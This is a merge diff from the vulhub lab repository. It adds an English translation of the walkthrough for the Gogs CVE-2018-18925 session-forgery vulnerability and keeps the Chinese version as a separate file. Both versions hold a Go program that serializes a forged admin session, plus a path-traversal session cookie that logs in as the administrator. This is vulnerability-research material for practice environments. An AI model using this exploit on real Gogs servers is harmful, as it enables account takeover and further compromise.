Merge pull request #520 from vulhub/translation/gogs

Added translation for Gogs CVE-2018-18925

environments.toml

@@ -473,7 +473,7 @@ app = "GoAhead"
 path = "goahead/CVE-2021-42342"
 
 [[environment]]
-name = "Gogs Arbitrary User Login"
+name = "Gogs Session Overwrite and Arbitrary User Forge"
 cve = ["CVE-2018-18925"]
 app = "Gogs"
 path = "gogs/CVE-2018-18925"

gogs/CVE-2018-18925/README.md

@@ -1,30 +1,32 @@
-# Gogs 任意用户登录漏洞（CVE-2018-18925）
+# Gogs Session Overwrite and Arbitrary User Forge (CVE-2018-18925)
 
-gogs是一款极易搭建的自助Git服务平台，具有易安装、跨平台、轻量级等特点，使用者众多。
+[中文版本(Chinese version)](README.zh-cn.md)
 
-其0.11.66及以前版本中，（go-macaron/session库）没有对sessionid进行校验，攻击者利用恶意sessionid即可读取任意文件，通过控制文件内容来控制session内容，进而登录任意账户。
+Gogs is a painless self-hosted Git service.
 
-参考链接：
+Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a `..` session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
 
-- https://github.com/gogs/gogs/issues/5469
-- https://xz.aliyun.com/t/3168
-- https://www.anquanke.com/post/id/163575
+References:
 
-## 环境启动
+- <https://github.com/gogs/gogs/issues/5469>
+- <https://xz.aliyun.com/t/3168>
+- <https://www.anquanke.com/post/id/163575>
 
-执行如下命令启动gogs：
+## Vulnerable environment
+
+Execute following command to start a Gogs server 0.11.66:
 
 ```
 docker compose up -d
 ```
 
-环境启动后，访问`http://your-ip:3000`，即可看到安装页面。安装时选择sqlite数据库，并开启注册功能。
+After the server is started, you can see the installation page on `http://your-ip:3000`. Follow the instructions to initialize the application, keep in mind that use SQLite as the database provider and enable the user register.
 
-安装完成后，需要重启服务：`docker compose restart`，否则session是存储在内存中的。
+Restart the server by `docker compose restart` after the installation, otherwise the session won't be stored in the filesystem.
 
-## 漏洞利用
+## Exploit
 
-使用Gob序列化生成session文件：
+Before the exploit, use Gob to generate a evil session file:
 
 ```go
 package main
@@ -63,14 +65,14 @@ func main() {
 }
 ```
 
-然后注册一个普通用户账户，创建项目，并在“版本发布”页面上传刚生成的session文件：
+Sign up a normal user account, then create a project and upload the generated evil file on release page:
 
 ![](1.png)
 
-通过这个附件的URL，得知这个文件的文件名：`./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10`。
+Get the aboslute file path from the attachment URL, for example `./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10`.
 
-然后，构造Cookie：`i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10`，访问即可发现已经成功登录id=1的用户（即管理员）：
+Finally, construct a malicious session id like `i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10` and you can see that you are administrator (uid=1) now:
 
 ![](2.png)
 
-完整的利用过程与原理，可以阅读参考链接中的文章。
+To execte commands as the administrator role, please refer to the reference links.

gogs/CVE-2018-18925/README.zh-cn.md

@@ -0,0 +1,76 @@
+# Gogs 任意用户登录漏洞（CVE-2018-18925）
+
+gogs是一款极易搭建的自助Git服务平台，具有易安装、跨平台、轻量级等特点，使用者众多。
+
+其0.11.66及以前版本中，（go-macaron/session库）没有对sessionid进行校验，攻击者利用恶意sessionid即可读取任意文件，通过控制文件内容来控制session内容，进而登录任意账户。
+
+参考链接：
+
+- https://github.com/gogs/gogs/issues/5469
+- https://xz.aliyun.com/t/3168
+- https://www.anquanke.com/post/id/163575
+
+## 环境启动
+
+执行如下命令启动gogs：
+
+```
+docker compose up -d
+```
+
+环境启动后，访问`http://your-ip:3000`，即可看到安装页面。安装时选择sqlite数据库，并开启注册功能。
+
+安装完成后，需要重启服务：`docker compose restart`，否则session是存储在内存中的。
+
+## 漏洞利用
+
+使用Gob序列化生成session文件：
+
+```go
+package main
+
+import (
+ "bytes"
+ "encoding/gob"
+ "encoding/hex"
+ "fmt"
+ "io/ioutil"
+ "os"
+)
+
+func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
+ for _, v := range obj {
+ gob.Register(v)
+ }
+ buf := bytes.NewBuffer(nil)
+ err := gob.NewEncoder(buf).Encode(obj)
+ return buf.Bytes(), err
+}
+
+func main() {
+ var uid int64 = 1
+ obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
+ data, err := EncodeGob(obj)
+ if err != nil {
+ fmt.Println(err)
+ }
+ err = ioutil.WriteFile("data", data, os.O_CREATE|os.O_WRONLY)
+ if err != nil {
+ fmt.Println(err)
+ }
+ edata := hex.EncodeToString(data)
+ fmt.Println(edata)
+}
+```
+
+然后注册一个普通用户账户，创建项目，并在“版本发布”页面上传刚生成的session文件：
+
+![](1.png)
+
+通过这个附件的URL，得知这个文件的文件名：`./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10`。
+
+然后，构造Cookie：`i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10`，访问即可发现已经成功登录id=1的用户（即管理员）：
+
+![](2.png)
+
+完整的利用过程与原理，可以阅读参考链接中的文章。